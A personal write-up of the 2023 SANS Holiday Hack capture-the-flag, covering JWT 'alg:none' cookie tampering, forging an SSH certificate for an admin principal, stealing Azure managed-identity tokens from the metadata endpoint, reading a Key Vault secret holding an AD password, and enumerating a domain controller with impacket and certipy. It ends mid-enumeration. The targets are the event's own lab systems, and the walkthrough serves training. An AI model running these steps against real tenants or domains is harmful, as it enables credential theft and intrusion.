As is tradition, I started the SANS Holiday Hack and this time I almost did everything.

Previous years' writeups: /categories/holiday-hack/.

Picked up the fishing pole.

Cranberry Pi: Type answer.

Visit Ginger Breddie in Santa's Shack on Christmas Island to help him with some basic Linux tasks. It's in the southwest corner of Frosty's Beach.

You have to run a few commands to find the trolls.

ls
cat troll_19315479765589239
rm troll_19315479765589239
pwd
ls -alt
cat .bash_history
printenv
cd workshop
grep -ir "troll"
chmod +x present_engine 
./present_engine 
cd /home/elf/workshop/electrical
mv blown_fuse0 fuse0
ln -s fuse0 fuse1
cp fuse1 fuse2
echo "TROLL_REPELLENT" > fuse2
cd /opt/troll_den
find . -iname "*troll*"
find . -group troll
find . -size +108k -size -110k
ps -aux
netstat -napt
curl localhost:54321 # wget was not on the system
kill -9 6224 # process' pid

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

Might be able to use it in solo mode (by tinkerting client-side variables).

gameType = "solo" changes the snowball color but it was not right. The options were co-op and free-for-all.

elfThrowDelay # 2000

playersHitBoxSize # maybe we can change it to all zeros
(4) [30, 30, 40, 60]

santaHitBoxSize = [200,200,200,200]
playersHitBoxSize = [1,1,1,1]

singlePlayer # change to true? - it's a string
'false'

santaThrowDelay # change it to higher
500

window.location.href

'https://hhc23-snowball.holidayhackchallenge.com/room/?username=parsiya&roomId=190d57f7f&roomType=private&gameType=co-op&id=...&dna=...&singlePlayer=false'

# the URL has gameType "co-op" and singlePlayer=false
# what if we changed it to gameType=solo and singlePlayer=true
# gameType=solo is wrong. I can only see `free-for-all` and `co-op` in code.

# the ball color changes and the page reloads but no enemies show up
# maybe we have to modify roomType

All the variables are set in the page's JavaScript.

gameType=co-op&singlePlayer=true

makes "elf the dwarf" join the game. This is probably what elfThrowDelay means

https://hhc23-snowball.holidayhackchallenge.com/room/?username=parsiya&roomId=891de62b&roomType=private&gameType=co-op&id=...&dna=...&singlePlayer=true

We have to wait a bit for the game to start. And then kill Santa.

Had to go and talk to Santa again. I missed it because he would start from scratch. He said to go to a different place but doesn't tell you where.

I had to go right for a moderate amount of time to get to Rudloph's Rest. Seems like Santa doesn't send you there. You have to use the bottom-left minimap to navigate the waters.

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

Just go through them and figure out which ones are LLM hallucinations. These are usually big errors. For example, HTTP SEND, HTTP 7.4.33, port 88555/TCP.

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

Reference index: https://learn.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest

az help | less

az account show | less
{
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "northpole-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "[email protected]",
    "type": "user"
  }
}

az group list
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
    "location": "eastus",
    "managedBy": null,
    "name": "northpole-rg1",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
    "location": "westus",
    "managedBy": null,
    "name": "northpole-rg2",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  }
]

az functionapp list -g northpole-rg1 | less
// too big to list

az vm list -g northpole-rg1
// no access

az vm list -g northpole-rg2
// works
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1",
    "location": "eastus",
    "name": "NP-VM1",
    "properties": {
      "hardwareProfile": {
        "vmSize": "Standard_D2s_v3"
      },
      "provisioningState": "Succeeded",
      "storageProfile": {
        "imageReference": {
          "offer": "UbuntuServer",
          "publisher": "Canonical",
          "sku": "16.04-LTS",
          "version": "latest"
        },
        "osDisk": {
          "caching": "ReadWrite",
          "createOption": "FromImage",
          "managedDisk": {
            "storageAccountType": "Standard_LRS"
          },
          "name": "VM1_OsDisk_1"
        }
      },
      "vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
    },
    "resourceGroup": "northpole-rg2",
    "tags": {}
  }
]

az vm run-command list -g northpole-rg2 -n NP-VM1
// returned the same output as above

az vm run-command invoke -g northpole-rg2 -n NP-VM1 --command-id RunShellScript --scripts "ls"

{
  "value": [
    {
      "code": "ComponentStatus/StdOut/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "bin\netc\nhome\njinglebells\nlib\nlib64\nusr\n",
      "time": 1702263948
    },
    {
      "code": "ComponentStatus/StdErr/succeeded",
      "displayStatus": "Provisioning succeeded",
      "level": "Info",
      "message": "",
      "time": 1702263948
    }
  ]
}

One of the hints after finishing the challenge is this URL (it's supposedly interesting). It shows a web portal where we can paste an SSH public key and get an SSH certificate.

https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl

Also a link and hint to Azure REST APIs if cli is not available: https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token

Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Function App: https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl

Pixel Island is in the top right. We go there and see Rainmaster Cliffs.

I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.

It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!

Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.

Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

Important notes:

• Use the monitor account.
• Create a certificate and upload the public key to the portal so you can use it to SSH?
• Where does Azure REST APIs come into play?

// generate a key
ssh-keygen -C "monitor" -f monitor

// we will get two files monitor and monitor.pub

// use the public key to get a signed cert

{
    "ssh_cert": "[email protected] [removed]",
    "principal": "elf"
}

// rename the old public key
mv monitor.pub monitor.old

// use the signed cert from the server as the new public key, paste it in monitor.pub

// login as monitor - note we're passing the private key here
ssh [email protected] -i monitor

We will see a Satellite Tracking Interface. Press ctrl+c to go into a CLI. It's run via ~/.bashrc.

# Start SatTrackr
/usr/local/bin/sattrackr

This is where we have to use curl and get info through the Azure REST API.

We need a token that we can get using this https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token

GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true

Shouldn't change the resource.

$ curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"\
    -H "Metadata: true"

{
  "access_token": "[removed]",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "85606",
  "expires_on": "1702417629",
  "ext_expires_in": "86399",
  "not_before": "1702330929",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

We have an access token. We can pass it in curl to get the code for the app. Instead of passing it every time, we put it in a curl config file like this:

# cfg
-H "Authorization: bearer [token from above]"

Then pass the config file with --config cfg.

Use the Function App to get his TODO list.

This is to get the source code. We need to figure out the placeholders.

GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/sourcecontrols/web?api-version=2022-03-01

https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl

Now we need three placeholders:

• name is probably northpole-ssh-certs-fa
• subscriptionId: TBD.
• resourceGroupName: TBD.

GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/sourcecontrols/web?api-version=2022-03-01

List all subscriptions

GET https://management.azure.com/subscriptions?api-version=2022-12-01

https://learn.microsoft.com/en-us/rest/api/resources/subscriptions/list?view=rest-resources-2022-12-01&tabs=HTTP

curl "https://management.azure.com/subscriptions?api-version=2022-12-01" --config cfg

// 2b0942f3-9bca-484b-a508-abdae2db5e64

{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64",
      "authorizationSource": "RoleBased",
      "managedByTenants": [],
      "tags": {
        "sans:application_owner": "SANS:R&D",
        "finance:business_unit": "curriculum"
      },
      "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
      "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
      "displayName": "sans-hhc",
      "state": "Enabled",
      "subscriptionPolicies": {
        "locationPlacementId": "Public_2014-09-01",
        "quotaId": "EnterpriseAgreement_2014-09-01",
        "spendingLimit": "Off"
      }
    }
  ],
  "count": {
    "type": "Total",
    "value": 1
  }
}

List all Resource Groups

GET https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups?api-version=2021-04-01

https://learn.microsoft.com/en-us/rest/api/resources/resource-groups/list?view=rest-resources-2021-04-01

curl "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups?api-version=2021-04-01" --config cfg

// northpole-rg1

{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
      "name": "northpole-rg1",
      "type": "Microsoft.Resources/resourceGroups",
      "location": "eastus",
      "tags": {},
      "properties": {
        "provisioningState": "Succeeded"
      }
    }
  ]
}

Red Herring - GitHub Repo

I went through a red herring and got the source code for the SSH app (northpole-ssh-certs-fa)

curl "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01"
    --config cfg

{
  // removed
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
    // removed
  }
}

Let's go here which is available publicly: https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa

There is no TODO list here. We need to list all the function apps here and find the TODO app's name to get its source code.

Red Herring 2 - Login as Alabaster

I saw that alabaster is the 2nd user on the machine. I tried to create a cert for alabaster and login and it didn't work. We can only login as monitor.

Then I looked at the source code of the application and saw we can have a 2nd JSON key named principal.

def parse_input(data) -> Tuple[PublicKey, str]:
    """Parse and validate input parameters."""
    # removed

    principal = data.get("principal", DEFAULT_PRINCIPAL)
    # removed
    principal = principal.strip()
    # removed
    try:
        return PublicKey.from_string(ssh_pub_key), principal
    except ValueError as err:
        raise ValidationError("ssh_pub_key is not a valid SSH public key.") from err

It's used in create_cert which is done with a POST request.

@app.route(route="create-cert", methods=['GET', 'POST'])
def create_cert(req: func.HttpRequest) -> func.HttpResponse:
    """Create SSH certificate."""
    # removed
    ssh_pub_key, principal = parse_input(req.get_json())

    cert_fields = CertificateFields(
        serial=1,
        key_id=str(uuid.uuid4()),
        valid_after=datetime.utcnow() - timedelta(minutes=5),
        valid_before=datetime.utcnow() + timedelta(days=28),
        principals=[principal],
        critical_options=[],
        extensions=[
            "permit-pty"
        ]
    )

    # removed
    ssh_cert = SSHCertificate.create(
        subject_pubkey=ssh_pub_key,
        ca_privkey=ca_ssh_priv_key,
        fields=cert_fields,
    )

    ssh_cert.sign()
    logging.info("SSH signed certificate: %s", ssh_cert.to_string())

    return func.HttpResponse(
        json.dumps({"ssh_cert": ssh_cert.to_string(), "principal": principal}),
        mimetype="application/json",
        status_code=200
    )
    #  removed

So I created a new key pair for alabaster. Opened the DevTools and signed it normally. Then right-click and copy as cURL command and then modified the payload.

So the new payload was:

{
    "ssh_pub_key": "ssh-rsa [removed] alabaster",
    "principal": "alabaster"
}

And it didn't work. Mainly because I had not realized principal and username are different. So I had to login as monitor and look at the sshd configuration to figure out what principal is used server-side.

It's in /etc/ssh/auth_principals and we have two files there:

$ ls /etc/ssh/auth_principals/
alabaster  monitor`
$ cat monitor
elf
$ cat alabaster
admin

So we need to use the principal admin.

{
    "ssh_pub_key": "ssh-rsa [removed] alabaster",
    "principal": "admin"
}

$ curl 'https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' \
  -H 'authority: northpole-ssh-certs-fa.azurewebsites.net' \
  -H 'accept: */*' \
  -H 'content-type: application/json' \
  -H 'origin: https://northpole-ssh-certs-fa.azurewebsites.net' \
  -H 'referer: https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl' \
  --data-raw '{"ssh_pub_key":"ssh-rsa [token] alabaster","principal":"admin"}' \
  --compressed

The result had this:

Now, we can login as alabaster.

ssh [email protected] -i alabaster

$ ls
alabaster_todo.md  impacket

$ cat alabaster_todo.md
# Geese Islands IT & Security Todo List

[removed the rest of the list]

- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism
  to speed up data retrieval times. Don't let Santa eat the cache!

The answer is Gingerbread.

Hints from alabaster

While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.

And there's a satellite above the islands.

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

Unlock the mysteries of JWTs with insights from PortSwigger's JWT Guide.

Elves are too fast to hit, probably something in the cookies/headers/JWT.

The original request has a cookie named ElfHunt_JWT (I am just gonna put the decoded values here).

{"alg":"none","typ":"JWT"}
{"speed": -500}

The override must happen on main.js which is the file that decodes the JWT and sets up the game. So we can just modify the cookie value in Chrome at Applications > Storage > Cookies > https://elfhunt.org to eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6MH0..

Changing to {"speed":0} and reloading the page. This makes nothing happen. We have to something low like {"speed":-50} (+10 didn't work either, maybe it makes them fly the other way?).

So I changed the speed to -50, reload the page and click the game again. Scored 75 points and it showed me a diary page.

According to Piney, his comms office is somewhere else. It might come in handy there.

What have you found there? The Captain's Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.

Link to captain's journal: https://elfhunt.org/static/images/captainsJournal.png

The only important thing is the name of the admin role: GeeseIslandsSuperChiefCommunicationsOfficer.

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?

Off to Steampunk Island we go.

Ribb Bonbowford:

I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.

From hints:

It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Login back to the account. We see impacket. But where do we start?

Let's get info from Azure metadata service.

curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

{
  "compute": {
    "azEnvironment": "AzurePublicCloud",
    "customData": "",
    "evictionPolicy": "",
    "isHostCompatibilityLayerVm": "false",
    "licenseType": "",
    "location": "eastus",
    "name": "ssh-server-vm",
    "offer": "",
    "osProfile": {
      "adminUsername": "",
      "computerName": "",
      "disablePasswordAuthentication": ""
    },
    "osType": "Linux",
    "placementGroupId": "",
    "plan": {
      "name": "",
      "product": "",
      "publisher": ""
    },
    "platformFaultDomain": "0",
    "platformUpdateDomain": "0",
    "priority": "",
    "provider": "Microsoft.Compute",
    "publicKeys": [],
    "publisher": "",
    "resourceGroupName": "northpole-rg1",
    "resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
    "securityProfile": {
      "secureBootEnabled": "false",
      "virtualTpmEnabled": "false"
    },
    "sku": "",
    "storageProfile": {
      "dataDisks": [],
      "imageReference": {
        "id": "",
        "offer": "",
        "publisher": "",
        "sku": "",
        "version": ""
      },
      "osDisk": {
        "caching": "ReadWrite",
        "createOption": "Attach",
        "diffDiskSettings": {
          "option": ""
        },
        "diskSizeGB": "30",
        "encryptionSettings": {
          "enabled": "false"
        },
        "image": {
          "uri": ""
        },
        "managedDisk": {
          "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
          "storageAccountType": "Standard_LRS"
        },
        "name": "ssh-server-vm_os_disk",
        "osType": "Linux",
        "vhd": {
          "uri": ""
        },
        "writeAcceleratorEnabled": "false"
      },
      "resourceDisk": {
        "size": "63488"
      }
    },
    "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
    "tags": "Project:HHC23",
    "tagsList": [
      {
        "name": "Project",
        "value": "HHC23"
      }
    ],
    "userData": "",
    "version": "",
    "vmId": "1f943876-80c5-4fc2-9a77-9011b0096c78",
    "vmScaleSetName": "",
    "vmSize": "Standard_B4ms",
    "zone": ""
  },
  "network": {
    "interface": [
      {
        "ipv4": {
          "ipAddress": [
            {
              "privateIpAddress": "10.0.0.50",
              "publicIpAddress": ""
            }
          ],
          "subnet": [
            {
              "address": "10.0.0.0",
              "prefix": "24"
            }
          ]
        },
        "ipv6": {
          "ipAddress": []
        },
        "macAddress": "6045BDFE2D67"
      }
    ]
  }
}

We have to get a different token to talk to AD.

// Get the token:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.net' \
    -H Metadata:true > nem.txt

// Put it in the cURL config file like we saw before.
curl "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01" \
    -K cfg2 

To get the result:

{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "systemData": {
        "createdBy": "[email protected]",
        "createdByType": "User",
        "createdAt": "2023-10-30T13:17:02.532Z",
        "lastModifiedBy": "[email protected]",
        "lastModifiedByType": "User",
        "lastModifiedAt": "2023-10-30T13:17:02.532Z"
      },
      "properties": {
        "sku": {
          "family": "A",
          "name": "Standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [],
        "enabledForDeployment": false,
        "enabledForDiskEncryption": false,
        "enabledForTemplateDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "enableRbacAuthorization": true,
        "vaultUri": "https://northpole-it-kv.vault.azure.net/",
        "provisioningState": "Succeeded",
        "publicNetworkAccess": "Enabled"
      }
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "systemData": {
        "createdBy": "[email protected]",
        "createdByType": "User",
        "createdAt": "2023-11-12T01:47:13.059Z",
        "lastModifiedBy": "[email protected]",
        "lastModifiedByType": "User",
        "lastModifiedAt": "2023-11-12T01:50:52.742Z"
      },
      "properties": {
        "sku": {
          "family": "A",
          "name": "standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
            "permissions": {
              "keys": [
                "all"
              ],
              "secrets": [
                "all"
              ],
              "certificates": [
                "all"
              ],
              "storage": [
                "all"
              ]
            }
          },
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
            "permissions": {
              "secrets": [
                "get"
              ]
            }
          }
        ],
        "enabledForDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
        "provisioningState": "Succeeded",
        "publicNetworkAccess": "Enabled"
      }
    }
  ],
  "nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="
}

Not useful. Let's get a token for vault.azure.net.

curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' \
    -H Metadata:true > cfg3

curl -K cfg3 "https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4"

// no access

Let's try a different API call.

curl -K cfg3 "https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4"

{
  "value": [
    {
      "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
      "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
      },
      "tags": {}
    }
  ],
  "nextLink": null
}

Cool, get the secret.

curl -K cfg3 "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/?api-version=7.4" | jq

{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

After unescaping with Cyberchef:

Import-Module ActiveDirectory
$UserName = "elfy"
$UserDomain = "northpole.local"
$UserUPN = "$UserName@$UserDomain"
$Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force
$DCIP = "10.0.0.53"
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName
    -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru

Now we have the domain controller's IP, username and password.

How do we find file shares?

// this should be run with a token for management

curl "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Storage/storageAccounts?api-version=2023-01-01" \
    -K cfg-management 

{"value":[]}

Nothing, maybe we should try and see what's at northpole.local.

Now I remember that we have access to impacket so can use it to enumerate all accessible shares.

smbclient.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

# password has a / so we need to wrap it in single quotes.

$ smbclient.py northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL

# use FileShare
# ls
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 .
drw-rw-rw-          0  Wed Dec 13 01:20:30 2023 ..
-rw-rw-rw-     701028  Wed Dec 13 01:20:33 2023 Cookies.pdf
-rw-rw-rw-    1521650  Wed Dec 13 01:20:33 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Wed Dec 13 01:20:33 2023 SignatureCookies.pdf
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 super_secret_research
-rw-rw-rw-        165  Wed Dec 13 01:20:33 2023 todo.txt

# cd super_secret_research
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

# ls super_secret_research
[-] [Errno 2] No such file or directory: 'super_secret_research'

# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit

Let's look at other shares. Most are inaccessible. NETLOGON is empty.

use IPC$
# ls
-rw-rw-rw-          3  Mon Jan  1 00:00:00 1601 InitShutdown
[removed]

NTLM info:

$ DumpNTLMInfo.py 10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

[+] SMBv1 Enabled   : False
[+] Prefered Dialect: SMB 3.0
[+] Server Security : SIGNING_ENABLED | SIGNING_REQUIRED
[+] Max Read Size   : 8.0 MB (8388608 bytes)
[+] Max Write Size  : 8.0 MB (8388608 bytes)
[+] Current Time    : 2023-12-13 07:33:32.812993+00:00
[+] Name            : npdc01
[+] Domain          : NORTHPOLE
[+] DNS Tree Name   : northpole.local
[+] DNS Domain Name : northpole.local
[+] DNS Host Name   : npdc01.northpole.local
[+] OS              : Windows NT 10.0 Build 20348
[+] Null Session    : False

Look at SIDs.

$ lookupsid.py northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 10.0.0.53
[*] StringBinding ncacn_np:10.0.0.53[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-797234457-4040996451-3763944187
498: NORTHPOLE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: NORTHPOLE\alabaster (SidTypeUser)
501: NORTHPOLE\Guest (SidTypeUser)
502: NORTHPOLE\krbtgt (SidTypeUser)
512: NORTHPOLE\Domain Admins (SidTypeGroup)
513: NORTHPOLE\Domain Users (SidTypeGroup)
514: NORTHPOLE\Domain Guests (SidTypeGroup)
515: NORTHPOLE\Domain Computers (SidTypeGroup)
516: NORTHPOLE\Domain Controllers (SidTypeGroup)
517: NORTHPOLE\Cert Publishers (SidTypeAlias)
518: NORTHPOLE\Schema Admins (SidTypeGroup)
519: NORTHPOLE\Enterprise Admins (SidTypeGroup)
520: NORTHPOLE\Group Policy Creator Owners (SidTypeGroup)
521: NORTHPOLE\Read-only Domain Controllers (SidTypeGroup)
522: NORTHPOLE\Cloneable Domain Controllers (SidTypeGroup)
525: NORTHPOLE\Protected Users (SidTypeGroup)
526: NORTHPOLE\Key Admins (SidTypeGroup)
527: NORTHPOLE\Enterprise Key Admins (SidTypeGroup)
553: NORTHPOLE\RAS and IAS Servers (SidTypeAlias)
571: NORTHPOLE\Allowed RODC Password Replication Group (SidTypeAlias)
572: NORTHPOLE\Denied RODC Password Replication Group (SidTypeAlias)
1000: NORTHPOLE\npdc01$ (SidTypeUser)
1101: NORTHPOLE\DnsAdmins (SidTypeAlias)
1102: NORTHPOLE\DnsUpdateProxy (SidTypeGroup)
1103: NORTHPOLE\researchers (SidTypeGroup)
1104: NORTHPOLE\elfy (SidTypeUser)
1105: NORTHPOLE\wombleycube (SidTypeUser)

Bunch of more info:

$ samrdump.py northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Retrieving endpoint list from 10.0.0.53
Found domain(s):
 . NORTHPOLE
 . Builtin
[*] Looking up users in domain NORTHPOLE
Found user: alabaster, uid = 500
Found user: Guest, uid = 501
Found user: krbtgt, uid = 502
Found user: elfy, uid = 1104
Found user: wombleycube, uid = 1105
alabaster (500)/FullName:
alabaster (500)/UserComment:
alabaster (500)/PrimaryGroupId: 513
alabaster (500)/BadPasswordCount: 0
alabaster (500)/LogonCount: 12
alabaster (500)/PasswordLastSet: 2023-12-13 01:10:31.560964
alabaster (500)/PasswordDoesNotExpire: False
alabaster (500)/AccountIsDisabled: False
alabaster (500)/ScriptPath:
[removed info for user Guest]
[removed info for user krbtgt]
elfy (1104)/FullName:
elfy (1104)/UserComment:
elfy (1104)/PrimaryGroupId: 513
elfy (1104)/BadPasswordCount: 0
elfy (1104)/LogonCount: 0
elfy (1104)/PasswordLastSet: 2023-12-13 01:19:38.018905
elfy (1104)/PasswordDoesNotExpire: True
elfy (1104)/AccountIsDisabled: False
elfy (1104)/ScriptPath:
wombleycube (1105)/FullName:
wombleycube (1105)/UserComment:
wombleycube (1105)/PrimaryGroupId: 513
wombleycube (1105)/BadPasswordCount: 0
wombleycube (1105)/LogonCount: 23
wombleycube (1105)/PasswordLastSet: 2023-12-13 01:19:38.112684
wombleycube (1105)/PasswordDoesNotExpire: True
wombleycube (1105)/AccountIsDisabled: False
wombleycube (1105)/ScriptPath:
[*] Received 5 entries.

We can see the wombleycube user belongs to NORTHPOLE\wombleycube which is not researchers, but they were mentioned in the hint. We cannot find any users for the researchers group anyways so I guess we can concentrate on that.

Different way to get the users:

$ GetADUsers.py northpole.local/elfy:'J4`ufC49/J4766' -dc-ip 10.0.0.53 -all
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  PasswordLastSet             LastLogon
--------------------  -------------------         -------------------
alabaster             2023-12-13 01:10:31.560964  2023-12-13 03:44:12.652777
Guest                 <never>                     <never>
krbtgt                2023-12-13 01:17:09.824614  <never>
elfy                  2023-12-13 01:19:38.018905  2023-12-13 02:23:44.438829
wombleycube           2023-12-13 01:19:38.112684  2023-12-13 03:40:17.052271

Cannot dump hashes with secretsdump.py because our user doesn't have access.

$ secretsdump.py northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53 -dc-ip 10.0.0.53 -debug
Impacket v0.11.0 - Copyright 2023 Fortra

[error removed]

One of the previous challenge hints talked about how AD can have the same certificate issues. One tool that was mentioned in the Reportinator challenge was certipy which is in included in this machine.

certipy find -u [email protected] -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
